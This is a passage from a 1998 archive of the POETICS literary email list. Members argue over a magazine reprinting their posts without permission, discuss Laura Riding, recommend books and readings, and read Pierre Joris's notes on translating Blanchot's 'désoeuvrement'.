>professor in the department (Mark Schorer and Tom Parkinson competed as
well
>and I always thought that Schorer won out simply because he'd had a 20 year
>head start on Crews and 10 on Parkinson) -- Crews used to teach a literature
>and ideology course that was a tribute to predictability and certainly never
>thought to try reading "unideological" texts in those terms. Anyhow,
>Freudianism as an ism became both a free floating signifier of the worst
>sort on every campus AND has become, as a formal system among profes-
sional
>analysts who are painfully aware of their outsiderness to the university
>system, fairly defensive. It's a system in which trying to think clearly or
>even halfway intelligibly about Freud's limits (as well as strengths) is all
>but impossible, though I am sure that there are careers to be made in the
>trying. Rethinking Marx is not dissimilar as a project beset with problems
>at the moment, as in The Work of Art in the Age of Hypertext etc.
>
>But I think the real lesson to be drawn from the Freudian adventure in the
>US has been what it's revealed about how universities function when a major

>trend in social analysis (and you never had to agree with any of Freud to
>see it was at least that) is set loose under those special terms.
>
>That's why I think it's so important that we stress, over and over, that the
>legitimation of poetry is something that occurs OFF campus, typically in the
>major urban areas but inevitably not in the MFA programs or the various
>anglophile critical programs (the latter these days falling all over
>themselves to tell us just how fab fab fabulous the new Ted Hughes'
>collection of necromancy is).
>
>Louis, thanks for the exact details re the Archives and the list -- I think
>that tends to point out the nature of the discourse here rather well. As
>I've said before, if there are 500 folks "subscribed" and a max of 50
>messages possible per day, people should think very hard before posting more
>than one.
>
>Ron (still has pneumonia after 46 days) Silliman
>
>

↑ Index

410. **Aldon Nielsen**

Re: of the ridiculous and the sublime

Tue 10 Feb 1998

---

any number of issues seem to have gotten mixed together oddly in Kent's post -- I'm headed back into the arms of El Nino, so only have time for a few quick takes --

1) Did Postmodern culture in fact reprint entire posts from the list? I haven't seen that issue, so don't know. This has nothing to do with calling lawyers, but if they did, they should not have. What I did see was a review article in which some posts were quoted, but perhaps that was a different issue? Could you give me the number so I can try to see it at their site?

2) The POETICS list is available to "millions" only in the strictest sense, since the "millions" would either have to subscribe or hack into it --

3) In either event, this has nothing to do, so far as I can see, with the question of whether or not somebody has the right to print pages of POETICS list discussion in their magazine with neither permission nor notice. The fact that some of the posts were about the magazine's editorial policy has nothing to do with it -- the fact that Kent writes a post here about the policy of Postmodern Culture in reprinting Poetics list posts would not authorize them to reprint his post --

and forgetting numbering --

as I've said here any number of times -- I assume that anything I post to the list MAY reappear somewhere else -- I assume this because of what I know of human nature, and because it has already happened in the past -- That does not mean that it is OK for anybody who wants to, at any time, in any place, to republish such posts --

Is it really that ridiculous to ask that somebody who plans to reprint posts from this list should at least notify the writers and provide copies?

and let me make it clear, since I imagine most on the list haven't seen Dale's mag., this is not a personal complaint -- from what I saw in the copy that was shown to me briefly in SF there are few of my words in there -- but the episode has a bad smell to me -- The "list owner" has pretty much had a hands off policy towards what goes on here, and that's one of the things that has made the list what it is -- and I'm not asking that anybody be kicked out, or that anybody be told to shut up, or that anything official be done by anybody -- I AM asking that we respect one another enough to act in such a way that all will continue to feel that they can speak freely in this environment

was going to get to the sublime, but I see my car floating away -- so I will float after it --

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411. **Kali Tal**

Re: Private property

Tue 10 Feb 1998

> *Obviously, if these had been private communications Dale would have needed permission to reprint, but anything that appears here is already freely available to millions and should just be thought of as in the public domain.*

I don't think so, Kent. After all, many people post poems on this list, and I hardly think that means they are giving up their copyright. Quoting from posts on this list might fall under the "Fair Use" rules, but reproduction of a series of posts in their entirety certainly violates copyright. Because one chooses to publish in a venue that allows millions of folks to see one's work doesn't mean one gives up all right to choose *which* venue will publish one's work. (In your terms any author of a bestseller would lose the right to control reprints.)

What it comes down to *should* be courtesy, even before we begin discussing the issue of legality. On another list, long ago, I heard that quite a bit of my writing had been lifted and reprinted in hard copy, by authors who never asked me if I minded my work being reproduced in journal form. (Joe surely

remembers the "Alex" incident on the old Technoculture list.) I did not *like* the author of the piece that lifted my work, and I'd have denied him the opportunity to reprint my posts on those grounds. That's my right. I'm the author; I own the copyright, I get to say who publishes my stuff, outside of quotations extracted under Fair Use.

> *If Dale did something*
> *wrong by doing what he did then so did Postmodern Culture when it*
> *reprinted posts of a rather "personal" nature from the*
> *discussion here after Allen Ginsberg's death. Some of my own words*
> *are in there and nobody contacted me-- should I consider calling the*
> *lawyers?*

Yes, PMC was wrong, too, if they didn't contact you first, though it's, of course, your choice to call a lawyer or to let it go. Just because a practice has become ubiquitous doesn't make it ethical. And I'm surprised that Dale is able to rationalize publishing those pieces simply because they talk about "his" journal. Hell, even if somebody writes a bad review of my book, I still don't own the rights to go around reproducing the review in my publications.

This is a pretty cut-and-dried matter. There are lots of sites which discuss copyright in e-space, and I doubt one of them will say that what Dale did was okay, either ethically or legally, however justified he may feel.

Kali

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412. Louis Cabri
Re: colding & heating
Tue 10 Feb 1998

Lisa & Chris,

"ask not what words can do for poetry but what poetry can
do for words"?
Caesar is exactly the problem. Is it the problem with all the
late Riding? I haven't read the just-published _Rational
Meaning_ yet, so I'm going on, say, _The Telling_ when I
think that it is.

What is this imperial "word" of truth in 'late Riding'?

It's not the same "word," for me, as when, in her earlier
critical prose even, she uses "individual-real" & other terms
(1928).

It's not the genre status of her late writing, Chris, that is the issue for me but exactly this changed set toward the word.

Lisa, I agree: she's going *beyond* oppositional matrices (that's what I meant, Chris) with some of those early words. These are the rational matrices in relation to which most terms establish their common value. I'm saying "individual-unreal" becomes virtually a neologism. It's beyond the usual understanding of "unreal" that is got from thinking of "real." She has an inadequate vocabulary at hand *but* it's not her fault - it's the cultural grammar of her time and she is impatiently pushing elements of it to their limits in order to attempt to exceed the given, outrageously inadequate meanings in circulation (anarchism is NOT enough, as Lisa says).

To the extent that she goes "beyond," her prose is "poetic" -- but so what, really. I don't see what the word "poetic" adds or takes away to the event. But saying this is not asking "what poetry can do for words," which is a different trajectory on the word entirely.

Maybe the fourth possibility ("collective-unreal"), insofar as it might have a negative spin for her (very likely, no?), is what she calls the "zeitgeist" in her long first essay in _Contemporaries & Snobs_.

I'm interested in objectifying rules. That's not the same as ruling objectively. And it's definitely not subjectifying rules. I think when Riding goes metaphysical at the end there, in _The Telling_ in particular, she's subjectifying rules (despite all her objectivity) in order to rule objectively.

Subjectifying rules - which leads back to singularity. I don't know about the *words* of a "philosophy," an "equipment for living," of the singular. I don't know if I like to work toward that way. I know I don't, in fact. Because Riding is substituting one "generic CRUTCH," as you put it, Chris, poetry, for another, philosophical prose. Trying to 'tie it all together' in discursive philosophical prose. Mistake! Poetry is not The Concept, but it can simulate it perfectly well, so why not do that?

Nor do I think all poetry should be singular, as if it were an ideal *value* or condition beyond history (so I reject someone's [not you, Chris or Lisa] constant invocation -- in a Turtlewax Antique-Charm Polish & homsespun proverbial vernacular of the staid backwoodsman, whose profile's no problem if you're walking passed it by the log cabin display on the lawn outside the Howard Johnson's, but *month after month of living in the cabin* is like your screen freezing on Hokey Hill in a virtual world of Disney -- of a universal standard that you apparently find in all good poetry, viz: "the impersonal." The personal is really impersonal? Not my conclusion, anyway.) In fact I don't think you are saying this at

all, Lisa - that rather it's a finding your way, whatever means, into the contingent historical present in all its absolute impossibility.

"The demand for an adequate mode of expression is senseless." I can see, Lisa, how you mean that to refer to Riding. However, if that is read as Riding, then sense itself is not adequately undermined by being brought beyond its limit, as in her early work, because what's happened instead is that the limit - rationality - has become a site of semantic investment, & arbiter of the truthful word. That's how I feel about her later stuff.

I want to read the dictionary book; hopefully will find time this summer.

-louis

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413. Matthew Kirschenbaum
Re: Private property
Tue 10 Feb 1998

Just as a point of information: the material from Poetics that is reprinted in the PMC piece in question consists of a very brief posting from Charles Bernstein announcing Allen Ginsberg's illness, and then (about) six lines of the renga authored by various members of this list. Alhough I understand how one could argue that a principle is what's at stake in the juxtaposition with Dale Smith's actions, any real comparison between the two seems overstated to me. Matt

========== Matthew G. Kirschenbaum
University of Virginia [redacted] or [redacted] Department of English
http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH

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414. robert drake
Re: O List-Master
Tue 10 Feb 1998

---

dale--

i ov course would appreciate seeing a copy of your magazine; if you've reprinted any of my posts to the list, even moreso... are those posts credited? in context? i wait w/ baited breadth...

bob drake/burning press
po box 585
lakewood oh 44107

Well, I did seek forgiveness... But the difference is that I said nothing in my magazine against anyone. All dialogue comes from each person's own mouth. My editorial concern was to represent a single thread that took place re the editorial practice of Mike and Dale's. As I stated in my intro I wanted to broaden the audience for this extremely lively group of exchanges.

*By the way, my new email account doesn't give individual names with each post. I only know for sure who is writing when the post is signed. But I have a feeling, due to his brilliant ability to sniff out thin contradictions and to gauge levels of honesty, that I am replying to Aldon Nielson. Well, I'm glad you're interested in the magazine. If you, David Bromige, Susan Schul tz, Hugh Steinberg, Simon Schuchat, Maria Damon, Robert Drake, Mark Weiss, Sylvester Pollet and Eliza McGrand will backchannel me with your addresses I'll be sure to send one off to you (send $5 and I'll put you on the list for #8!). *Honestly* it's a very interesting exchange. I've already sent copies to Dodie, Kevin and Juliana. Thanks for staying on me though to get these out to the others.*

Dale

To: [redacted]

I suppose the term "listserv" might convey some sense of mastery, but . . .

a bit of "creative" appropriation might have been considerably more interesting -- but, call me old fashioned and orthodox, I am of the opinion that reprinting people's email posts with no notification fits poorly with the pose adopted ("how firmly fastened are your walls" etc.) -- Isn't this the same person who criticized people for speaking of Tom Clark outside his presence????

No, forgive us, Oh Dale, for having thought to converse with you openly and, we thought, honestly.

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415. **Henry Gould**
Re: colding & heating
Tue 10 Feb 1998

On Tue, 10 Feb 1998 20:00:36 -0500 Louis Cabri said:
>
>Nor do I think all poetry should be singular, as if it were an
>ideal *value* or condition beyond history (so I reject
>someone's [not you, Chris or Lisa] constant invocation -- in
>a Turtlewax Antique-Charm Polish & homsespun proverbial
>vernacular of the staid backwoodsman, whose profile's no
>problem if you're walking passed it by the log cabin display
>on the lawn outside the Howard Johnson's, but *month after
>month of living in the cabin* is like your screen freezing on
>Hokey Hill in a virtual world of Disney -- of a universal
>standard that you apparently find in all good poetry, viz:
>"the impersonal." The personal is really impersonal? Not my
>conclusion, anyway.) In fact I don't think you are saying this
>at all, Lisa - that rather it's a finding your way, whatever
>means, into the contingent historical present in all its
>absolute impossibility.

Louis, could you clarify for us the argument of that "someone" you're planting satirical sides of shrubbery around? "Someone" argued once that the process of writing poetry sometimes involves individual effort - even an effort to excel, differentiate from the rest, find a unique voice, perhaps even beat the rest at their own game - which complicates the "group solidarity" so cherished by those who want to "make a difference", and needs to be taken into account when encountering poetry. "Someone" argued that some critics might see poetry as an art of words - words wrought to their most complicated - and that these critics might be able to "see" better if they are free from extra-literary allegiances, and write better if they share the poet's own drive for uniqueness. "Someone" argued once (in a much earlier thread) that great poetry exhibits an anonymous objective quality - the poet breaking through the shell of individuality, exceeding personal limits. Now you are saying this same "someone" was therefore arguing that poetry was a "value" beyond history? I think you're pinning "someone" with an argument they never made. But as long as you don't name that "someone", Louis, you can keep talking only to Lisa - and "someone" won't call you on it & disprove you. You may think a certain poetry club-du-jour is actually "changing history" by transvaluing literary values; you are welcome to your belief. "Someone" will wait to see what the indie-critics make of it - as poetry. - Henry Gould, the one & only "someone"

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416. Thomas Bell
Re: of the ridiculous and the sublime
Tue 10 Feb 1998

At 04:42 PM 2/10/98 -0800, Aldon Nielsen wrote:
about
a
post
about
publishing something without permission
possibly
If someone does something obnoxious,
it isn't less obnoxious if legal, ethical, or whatever
even though this seems to be the thing to do these days.
tom bell

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417. Herb Levy
Re: of the ridiculous and the sublime
Tue 10 Feb 1998

Aldon wrote:

> *2) The POETICS list is available to "millions" only in the strictest sense, since the "millions" would either have to subscribe or hack into it --*

All posts made to the list are available to anyone with a Web browser right here:

<http://listserv.acsu.buffalo.edu/archives/poetics.html>

& have been for a very long time. Anyone can read it at any time regardless of the so-called closed status of the list. This is mentioned in the Welcome Message that's often posted to the list & that I'm sure we've all read before saving to our hard drives.

Certainly (if we're to claim this is some kind of community) it makes sense for folks on the list to ask others if it's okay to quote them, but being outside of the academic world I don't know the protocol of the need to do so.

Such need is less clear for those who stumble or otherwise come across the archives and search for information relevant to something they're writing about. For such purposes, the archive is just another resource out there. While it might be nice if they were to do so, I doubt that everyone who finds a useful quote in, say, your book Black Chant will ask your permission before adding it to their term paper or thesis.

I've seen a few footnoted citations of posts to the list (Perloff on Yasusada, Altieri on BlaserCon), I imagine there've been others, the PMC article I guess being one of them.

Since Dale's offered to provide copies for those whose words are reprinted, I think the problem's now the more abstract one of a realizing that every word written here is published on the Web.

Good luck with your floating car.

Bests,

Herb

Herb Levy
[redacted]

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418. **Joe Ahearn**
Re: ocratic meditation
Tue 10 Feb 1998

Sheila Murphy's 50 haibun over on William Slaughter's Mudlark site are pretty damned interesting, too.

http://www.unf.edu/mudlark/

There, that's my one message for the day. (Thanks, Ron, for reminding us to use the aether wisely. And sorry about yr pnuemonia.)

Joe Ahearn
Rancho Loco Press
Dallas

At 12:18 PM 2/10/98 -0500, you wrote:
>As per Ron, I have thought hard, and am posting my second message of the
>day....
>
>I strongly recommend -ocracy: parts 1-4 by Peter Ganick and Sheila Murphy
>(Norman OK : Texture Press, 1997).
>
>This has been my favorite rush-hour reading for the past few days. Its
>swoop and verve and pointed changes of image-center keep me rivited, and
>make bus-commuting fade into the background. It'll be too paratactic for
>some of our commonsensepods; but this is really fine writing and fun
>writing. It's verse, which mutates its grain and tempo between sections;
>kinda like the traditional approach to different tempi between movements
>of a classical piece. (..but not as drear and plodding in execution as the

>sleepy Possum) The center shifts relentlessly like Ron himself; but less
>social surface and more of the roil and smoke underlying awareness, the
>tumult of how awareness clashes with our violently disunified culture.
>Not enuff center?? Imitative form notwithstanding, scattershot effect
>(scattershot intention?) would be the main fault in the piece.
>
>It sounds great read aloud and is pretty funny too. Barbara Hocker's
>minimalist cover art is appropriate and amusing as well.....
>
>Mark P.
>@lanta
>
>

Joe Ahearn

_____

[redacted]

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419. **Tenney Nathanson**
Re: ocratic meditation
Tue 10 Feb 1998

Sheila--

is any of this up on a web site, maybe a teaser? or might it be put up? sounds great.

thanks

Tenney

At 12:18 PM 2/10/98 -0500, you wrote:
>As per Ron, I have thought hard, and am posting my second message of the
>day....
>
>I strongly recommend -ocracy: parts 1-4 by Peter Ganick and Sheila Murphy
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>swoop and verve and pointed changes of image-center keep me rivited, and
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>some of our commonsensepods; but this is really fine writing and fun
>writing. It's verse, which mutates its grain and tempo between sections;
>kinda like the traditional approach to different tempi between movements

>of a classical piece. (..but not as drear and plodding in execution as the
>sleepy Possum) The center shifts relentlessly like Ron himself; but less
>social surface and more of the roil and smoke underlying awareness, the
>tumult of how awareness clashes with our violently disunified culture.
>Not enuff center?? Imitative form notwithstanding, scattershot effect
>(scattershot intention?) would be the main fault in the piece.
>
>It sounds great read aloud and is pretty funny too. Barbara Hocker's
>minimalist cover art is appropriate and amusing as well.....
>
>Mark P.
>@lanta
>

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420. **Mark Weiss**
Re: of the ridiculous and the sublime
Tue 10 Feb 1998

Aldon: I agree with everything below. Dale's wrist has been properly slapped, and I assume that next time (if there is one) he will ask permission, which I also assume that most of those affected would have granted. That said, can we move on?

At 04:42 PM 2/10/98 -0800, you wrote:
>any number of issues seem to have gotten mixed together oddly in Kent's
>post -- I'm headed back into the arms of El Nino, so only have time for a
>few quick takes --
>
>1) Did Postmodern culture in fact reprint entire posts from the list? I
>haven't seen that issue, so don't know. This has nothing to do with
>calling lawyers, but if they did, they should not have. What I did see was
>a review article in which some posts were quoted, but perhaps that was a
>different issue? Could you give me the number so I can try to see it at
>their site?
>
>2) The POETICS list is available to "millions" only in the strictest sense,
>since the "millions" would either have to subscribe or hack into it --
>
>3) In either event, this has nothing to do, so far as I can see, with the
>question of whether or not somebody has the right to print pages of POETICS
>list discussion in their magazine with neither permission nor notice. The
>fact that some of the posts were about the magazine's editorial policy has

>nothing to do with it -- the fact that Kent writes a post here about the
>policy of Postmodern Culture in reprinting Poetics list posts would not
>authorize them to reprint his post --
>
>and forgetting numbering --
>
>as I've said here any number of times -- I assume that anything I post to
>the list MAY reappear somewhere else -- I assume this because of what I
>know of human nature, and because it has already happened in the past --
>That does not mean that it is OK for anybody who wants to, at any time, in
>any place, to republish such posts --
>
>Is it really that ridiculous to ask that somebody who plans to reprint
>posts from this list should at least notify the writers and provide copies?
>
>and let me make it clear, since I imagine most on the list haven't seen
>Dale's mag., this is not a personal complaint -- from what I saw in the
>copy that was shown to me briefly in SF there are few of my words in there
>-- but the episode has a bad smell to me -- The "list owner" has pretty
>much had a hands off policy towards what goes on here, and that's one of
>the things that has made the list what it is -- and I'm not asking that
>anybody be kicked out, or that anybody be told to shut up, or that anything
>official be done by anybody -- I AM asking that we respect one another
>enough to act in such a way that all will continue to feel that they can
>speak freely in this environment
>
>was going to get to the sublime, but I see my car floating away -- so I
>will float after it --
>
>

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421. **Hugh Steinberg**
Re: colding & heating
Wed 11 Feb 1998

---

louis stroffolino wrote:
>
>> Since I've gotten into this 19th century groove (the class I'm
>> teaching soon [adjunct salary toothless benefits]), I want to
>> ask CAN ANYBODY SUGGEST A GOOD TRANSLATION EDITION OF
GIACOMO

>> LEOPARDI? I can't believe I haven't really read him before....
>> he seemed more fashionable in the 1920s in the USA than in any
>> time since. Any help would be appreciated. CHris

W.S. DiPiero has done a pretty good translation of Leopardi's Pensieri.

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422. **Louis Cabri**
set poetics nomail
Wed 11 Feb 1998

I'm always reachable backchannel. Will be off for awhile, at least til end of April. I'll send, via another subscriber, info on upcoming PhillyTalks etc.

Thanks many of you for exciting discussions; good luck weathering more of them!

By "Polish" in my last post I only meant polish (i.e. for the Turtlewax). I regret the line "The Trees!" if Maria felt impinged.

louis

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423. **George Bowering**
Re: 44 Freud
Wed 11 Feb 1998

Sheila Watson, Canada's best ever fiction writer, died last week, age 88. She was bpNichol's favourite. He made it to 44, and as he was born in '44, died in '88.

He never carried a smokeless revolver, or drove an Oldsmobile, though.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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424. **dbkk**
Raworth & Flores at SPT
Wed 11 Feb 1998

Small Press Traffic presents:

Tom Raworth
Paul Stojsavljevic Flores

Friday, February 13, 7:30 p.m.
New College Theater
777 Valencia Street
$5

In a dark crowded Rio club he approaches the microphone with superb assurance, the long slinky black gown by Jean-Louis hugging his every curve . . . a glorious mane of red-gold curls flows behind him, seductive even in Gilda¹s black and white . . . while peeling off one long clingy opera glove he sings "Put the Blame on Mame" in a sultry croak . . . no . . . wait . . . that was *Rita Hayworth* . . . . This is *Tom Raworth,* the legendary UK poet, the dean of "English language writing," making his first appearance at Small Press Traffic. He's written forty books including a recent Selected Poems 1987-1995 Clean & Well Lit (Roof Books). He approaches the microphone with superb assurance. . . .

Paul Stojsavljevic Flores was born in the doorway of a steel mill in Gary, Indiana, and now resides in the sourdough comb of San Francisco. He came to poetry through breakdancing and poprocking out of pepperspray webs fronting the courthouses of downtown San Diego. Shifting in and out of rumba candela tempos and uniting the here-to-never-before-seen with the vas-a-ver-lo-que-te-va-a-pasar, his poetry has appeared in Mirage #4/Period(ical) and 14 Hills. He is also the winner of the 1997 Bay Guardian Open Poetry Contest.

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425. George Bowering
Re: 44 baseball poems
Wed 11 Feb 1998

> *I think Spahn was 21. He aslo is in one of the most famous baseball poems, "Spahn and Sain, and two days rain." - although it might be forgotten now.*

It is a long way from forgotten. One reads an article that mentions it at least once a year. It is certainly more often mentioned than

Greater than his brother Joe,
Dominic Dimaggio.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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426. Alan Myouka Sondheim
Re: 44
Wed 11 Feb 1998

It's not a nonsense word at all. It's built-in and is "yon." "Yon" means four, just like "shi" does. I just haven't heard anything else - but then I'm in Fukuoka, in the south-west.

Alan

On Mon, 9 Feb 1998, d powell wrote:

> *Reply to: Re: 44 In Japanese, the word "shi" is both "four" and "death" as well. Many superstitious Japanese replace "four" with a nonsense word when giving addresses, phone numbers, etc. that contain a four.*
>
> *Tea cups are sold in sets of five, and if one cup is broken, the whole set is thrown out--at least, this is a custom that still is observed by some Japanese.*
>
> *Doug*
> *==========*
> *D A Powell* [redacted]
> *==========*

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427. Pierre Joris
Re: spraying the communities
Wed 11 Feb 1998

Scott Pound wrote:

> *I think Pierre Joris should post the page of his intro to Blanchot's book on community if only because it is one of the best lessons in translation there is.*
>
> *Scott Pound*

Scott -- here's the page (or 2 re the tranlation of "désoeuvrement") -- Pierre:

from : Preface to Maurice Blanchot’s THE UNAVOWABLE COMMUNITY (Station Hill Press 1988)

.... The term that has caused the greatest problems [in translation] is without a doubt désoeuvrement, and its derivate, désoeuvrée, which appears in the title of Nancy's essay, but is very much a Blanchot word. The word has at its core the concept of the "oeuvre" (work, body of work, artistic work, etc.) and implies a range of meanings: idleness, a state of being without work, unoccu pied, etc. After various attempts of maintaining this semantic range (and considering keeping Lydia Davis' early rendering of the word as "worklessness"), I decided to use the term "the unworking" — first suggested to me by Christopher Fynsk. It is a key term in Blanchot's thinking and it would be useful here to quote certain relevant passages from both Blanchot and Nancy.

The word appears in its common meaning of "idle, at loose ends, finding oneself with nothing to do, etc." in Blanchot's fiction as far back as the 1952 book Celui qui ne m'accompagnait pas ; but even here already the author playfully worries the word, making it yield a one-page medita tion on its meaning and excavating in the process the core-sème "oeuvre":

Though I did not feel tired, I was disoriented and prodigiously idle (désoeuvré); this idleness (désoeuvrement) was also my task, it kept me busy: maybe it represented a lull (un temps mort), a moment of giving up and of blacking out on the part of the watcher, a weakness that forced me to be myself all alone. But the empty chur ning I was caught in had to have another meaning, evoking hunger, evoking the need to wander, to go further, while asking "Why did I come in here? Am I looking for something?", though maybe I was not looking for anything and maybe further on was yet again the same as right here. That much I knew. To know was part of that solitude, cre ated that solitude, was at work (à l'oeuvre) in that idleness (désoeuvrement), closing off the exits. Out of idleness I asked him....."

The full philosophical and literary complexity of the term is worked out later, most fully in the1969 essay, "The Absence of the Book" (cf. The Gaze of Orpheus , pp.145 -160) where Blanchot writes:

To write is to produce absence of the work (worklessness) [désoeuvrement]. Or: writing is the absence of the work as it produces itself through the work and throughout the work. Writing as worklessness (in the active sense of the word) is the insane game, the indeterminacy that lies between reason and unreason. What happens to the book during this "game", in which workless ness is set loose during the operation of writing? The book: the pas sage of an infinite movement, a movement that goes from writing as an operation to writing as worklessness; a passage that immediately impedes. Writing passes through the book, but the book is not that to which it is destined (its des tiny). Writing passes through the book, completing itself there even as it dis appears in the

book; and yet, we do not write for the book. The book: a ruse by which writing goes to wards the absence of the book.

It is exactly that little parenthesis, "(in the active sense of the word)," that is problematic in the translation of the term désoeuvrement with the passive worklessness. (There may be a radical cultural difference at work here: the puritan impulses of Anglo-American culture blocking the very possibility of a positive, active connotation to be attached to the notion of an absence of work?)

All of Nancy's essay builds up to a point, two-thirds of the way through, where the word "désoeuvrée", announced in the title in relation to community, finally gets stated. It comes after a critique of the Cartesian im manentist subject, seen by Nancy as "the inverted figure of the experience of community":

That is why the community cannot come within the province of the work [l'oeuvre]. One does not produce it, one experiences it as the ex perience of finitude (or: its experience makes us). The community as work, or the community through works, would presuppose that the common being, as such, is objectifiable and producible (in places, per sons, edifices, discourses, institutions, symbols: in short, in subjects). The products of operations of that type, no matter how grandiose they want, and sometimes manage, to be, never have more communitarian existence than the plaster torsos of Marianne.

The community takes place of necessity in what Blanchot has called the unworking [désoeuvrement]. Before or beyond the work, it is that which withdraws from the work, that which no longer has to do with production, nor with completion, but which encounters interrup tion, fragmentation, suspension. The community is made of the inter ruption of the singularities, or of the suspension singular beingsare. It is not their work, and it does not have them as its works, not anymore than communication is a work, nor even an operation by singular beings: for it is simply their being - their being in suspension at its limit. Communication is the unworking of the social, economic, techni cal, in stitutional work .

After its long incubation in Blanchot's fictions and essays, after Nancy's book and Blanchot's response to it, le désoeuvrement , "the un working" is clearly emerging as one of the most centrally active concepts of contemporary thought not only in relation to the work of writing, but also — as Nancy's last sentence makes clear — in relation to a wide array of other concerns. The necessary tentativeness in the translation of the term is, in a way, proof of the concept's very vitality, that is to say, its active complexity.

1 To be published shortly in a translation by Lydia Davis under the title "The One Who Was Standing Apart From Me" by Station Hill Press. The occurrence of désoeuvrement I am referring to can be found on page 70 of the French edition. Clearly, translating désoeuvrement with the literary/philosophical term

"the unworking" would not work in this narra tive context. The translation here is mine.

2 Again, in French the word désoeuvrement as used in the last sentence implies an active sense the English word "worklessness" does not convey. Another Blanchot translator, Ann Smock, uses the word "uneventfulness" to translate désoeuvrement. In a footnote to her translation of L'Ecriture du Désastre, (University of Nebraska Press, 1986) she writes:

"The uneventfulness of the neutral wherein the lines not traced retreat" is my elaboration upon Blanchot's expression "le désoeuvrement du neutre". Le dé soeuvrement is a word Blanchot has long used in close association with l'oeuvre (the work of art, of literature). It means the work as the work's lack ? the work as unmindful of being or not being, as neither present nor absent: neutral. It also means idleness, inertia. My word "uneventfulness" tries to express this idea of inaction, of nothing's happening, and my additional phrase "the lines not traced retreat," recalling an earlier expression in this book, "the retreat of what never has been treated", seeks to retain the relation which this fragment is evoking and which is, so to speak, spelled out in the word désoeuvrement: the relation between the work and its denial. Between writing and passivity, be tween being and not being a writer, being and not being the subject of the verb "to write."

Although I would agree in the main with her understanding of the concept of désoeuvrement, I cannot comprehend why she feels it necessary to add at this point the phrase "the lines not traced retreat", which seems like a gross translator's inter ference with the Blanchot text. I can only suggest that she must have felt uneasy with her translation of désoeuvrement as "uneventfulness", and therefore wants to "explain" the term further. Clearly, "uneventfulness" does carry some of the meaning of the french word, though she loses the notion of the "oeuvre", the work.

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

↑ Index

428. robert drake
Re: ocratic meditation
Wed 11 Feb 1998

tenney, & all--

part 3 was published in potepoetzine one; available at the cybpheranthology:

www.burninpress.org/va/vaintro.html

luigi
burningpress

> *Sheila--*
>
> *is any of this up on a web site, maybe a teaser? or might it be put up? sounds great.*
>
> *thanks*
>
> *Tenney*
>
> *At 12:18 PM 2/10/98 -0500, you wrote:*
> *As per Ron, I have thought hard, and am posting my second message of the day....*
>
> *I strongly recommend -ocracy: parts 1-4 by Peter Ganick and Sheila Murphy (Norman OK : Texture Press, 1997).*

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429. Henry Gould
Re: colding & heating
Wed 11 Feb 1998

On Tue, 10 Feb 1998 21:25:12 EST Henry Gould said:

> *Now you are saying this same "someone" was therefore*
> *arguing that poetry was a "value" beyond history? I think you're pinning*
> *"someone" with an argument they never made. But as long as you don't*
> *name that "someone", Louis, you can keep talking only to Lisa -*
> *and "someone" won't call you on it & disprove you. You may think a certain*
> *poetry club-du-jour is actually "changing history" by transvaluing*
> *literary values; you are welcome to your belief. "Someone" will wait*
> *to see what the indie-critics make of it - as poetry.*

Oh dear, now I've gone and driven Louis Cabri off the list. Add this to my list of crimes, Ron Silliman. I wanted to say to Louis that IF he's saying I argued poetry was "above" history, he's right, I did, and I'm wrong to deny it. I see I

contradicted myself (above) yesterday & have had to rethink this. I don't think poetry's above history, I think that poetry is more expressive of the history it's in than "history" does or talking- historically-ABOUT-poetry does. For a long time, in the academy, theory had the upper hand over poetry itself. Scholars weren't that interested in the poems per se but in the material influences & historical conditions informing them. Steve Evans's "Change" essay maybe culminates & overturns this trend: he says, in effect, "history with regard to poetry is a sort of in-between, incipient-decadent, TIME OF WAITING in which only the agents themselves (the poets) have the vaguest notion what they are saying-doing (and even they feel conflicted & confused about this)"[MY paraphrase]. Rod Smith's title of his book IN MEMORY OF MY THEORIES is apropos here.

We talk at cross purposes, we get into arguments, because we all have different things we want to talk about. I find the argument that "our poetry is above criticism because it's part of a historical trend that renders criticism obsolete" to be a specious way to justify anything - lack of talent, non-literary motivations, anything. A new artistic development will indeed overturn (temporarily) past "standards" - but criticism - via good indie-critics - has a way of gradually responding to change - on its own aesthetic terms. I'm not saying the process is perfect or even very sensible. But I will say that in the battle between theory and poetry, or poetry and talking-about-poetry (and there is such a battle) a recognition that poetry "makes its history" on its own terms (the terms of poetry) might be a way to see through a lot of promotional or purely academic "talk about". Do I want to silence "talk about"? Not at all. The academics & critics who "see" motives & meanings in poems - historical, political, etc. - are irreplaceable. But when it gets to the point that "someone" like me has to defend the mere existence of an "individual agent" in the process of making poems, then maybe "something" is missing in all the "talk-about".

I hope Louis Cabri will rejoin this list.
- Henry Gould

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430. Maria Damon
Re: O List-Master
Wed 11 Feb 1998

---

ditto, but my e address has changed and i realize folks aren't getting thru to me. the "maroon" has been dropped from the address, so i'm now [redacted]
bests, maria d ps in the future i'd like to be asked first, all ye who want to publicize this public list, thanks

At 9:22 PM -0500 2/10/98, robert drake wrote:
>dale--

>
>i ov course would appreciate seeing a copy of your magazine;
>if you've reprinted any of my posts to the list, even moreso...
>are those posts credited? in context? i wait w/ baited breadth...
>
>bob drake/burning press
>po box 585
>lakewood oh 44107
>
>>Well, I did seek forgiveness... But the difference is that I said nothing
>>in my magazine against anyone. All dialogue comes from each person's own
>>mouth. My editorial concern was to represent a single thread that took
>>place re the editorial practice of Mike and Dale's. As I stated in my intro
>>I wanted to broaden the audience for this extremely lively group of
>>exchanges.
>>
>>By the way, my new email account doesn't give individual names with each
>>post. I only know for sure who is writing when the post is signed. But I
>>have a feeling, due to his brilliant ability to sniff out thin contradictions
>>and to gauge levels of honesty, that I am replying to Aldon Nielson. Well,
>>I'm glad you're interested in the magazine. If you, David Bromige, Susan
>>Schul
>>tz, Hugh Steinberg, Simon Schuchat, Maria Damon, Robert Drake, Mark
Weiss,
>>Sylvester Pollet and Eliza McGrand will backchannel me with your ad-
dresses
>>I'll be sure to send one off to you (send $5 and I'll put you on the list for
>>#8!). *Honestly* it's a very interesting exchange. I've already sent
>>copies to Dodie, Kevin and Juliana. Thanks for staying on me though to
>>get these out to the others.
>>
>>Dale
>>
>>
>>
>>
>>
>>
>>
>>
>>
>>

>>
